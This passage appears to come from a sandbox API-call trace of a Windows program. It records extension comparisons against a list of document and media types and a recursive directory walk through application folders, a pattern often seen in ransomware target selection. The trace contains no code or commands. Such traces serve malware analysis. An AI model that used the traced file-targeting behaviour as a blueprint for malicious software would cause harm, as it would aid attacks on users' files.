	[0171.387] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".7z") returned 3
	[0171.388] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1
	[0171.388] lstrlenW (lpString=".accda") returned 6
	[0171.388] lstrcmpiW (lpString1=".accda", lpString2="rs.css") returned -1
	[0171.388] lstrlenW (lpString=".accdb") returned 6
	[0171.388] lstrcmpiW (lpString1=".accdb", lpString2="rs.css") returned -1
	[0171.388] lstrlenW (lpString=".accdc") returned 6
	[0171.388] lstrcmpiW (lpString1=".accdc", lpString2="rs.css") returned -1
	[0171.388] lstrlenW (lpString=".accde") returned 6
	[0171.388] lstrcmpiW (lpString1=".accde", lpString2="rs.css") returned -1
	[0171.388] lstrlenW (lpString=".accdt") returned 6
	[0171.388] lstrcmpiW (lpString1=".accdt", lpString2="rs.css") returned -1
	[0171.388] lstrlenW (lpString=".accdw") returned 6
	[0171.388] lstrcmpiW (lpString1=".accdw", lpString2="rs.css") returned -1
	[0171.388] lstrlenW (lpString=".adb") returned 4
	[0171.388] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".adp") returned 4
	[0171.388] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".ai") returned 3
	[0171.388] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1
	[0171.388] lstrlenW (lpString=".ai3") returned 4
	[0171.388] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".ai4") returned 4
	[0171.388] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".ai5") returned 4
	[0171.388] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".ai6") returned 4
	[0171.388] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".ai7") returned 4
	[0171.388] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".ai8") returned 4
	[0171.388] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1
	[0171.388] lstrlenW (lpString=".anim") returned 5
	[0171.388] lstrcmpiW (lpString1=".anim", lpString2="s.css") returned -1
	[0171.389] lstrlenW (lpString=".arw") returned 4
	[0171.389] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1
	[0171.389] lstrlenW (lpString=".as") returned 3
	[0171.389] lstrcmpiW (lpString1=".as", lpString2="css") returned -1
	[0171.389] lstrlenW (lpString=".asa") returned 4
	[0171.389] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1
	[0171.389] lstrlenW (lpString=".asc") returned 4
	[0171.389] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1
	[0171.389] lstrlenW (lpString=".ascx") returned 5
	[0171.389] lstrcmpiW (lpString1=".ascx", lpString2="s.css") returned -1
	[0171.389] lstrlenW (lpString=".asm") returned 4
	[0171.389] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1
	[0171.389] lstrlenW (lpString=".asmx") returned 5
	[0171.389] lstrcmpiW (lpString1=".asmx", lpString2="s.css") returned -1
	[0171.389] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.389] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0171.395] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.395] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0171.395] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0171.395] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.395] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1
	[0171.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.409] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.816] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.817] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.817] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.818] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.818] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.819] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.819] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.820] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.820] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.821] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.821] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.822] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.822] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0171.822] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.823] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.823] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.823] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.823] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.823] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1
	[0171.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.828] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1
	[0171.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0171.829] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1
	[0171.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0171.830] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0
	[0171.830] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0171.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.830] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0
	[0171.830] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0171.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.830] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0171.830] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0171.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.832] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.832] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0171.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0171.832] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1
	[0171.835] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.835] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0171.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.842] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0171.842] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0171.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.842] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0171.842] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0171.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0171.842] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.846] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.846] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0171.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.849] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0171.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.849] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0171.850] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.850] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0171.851] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
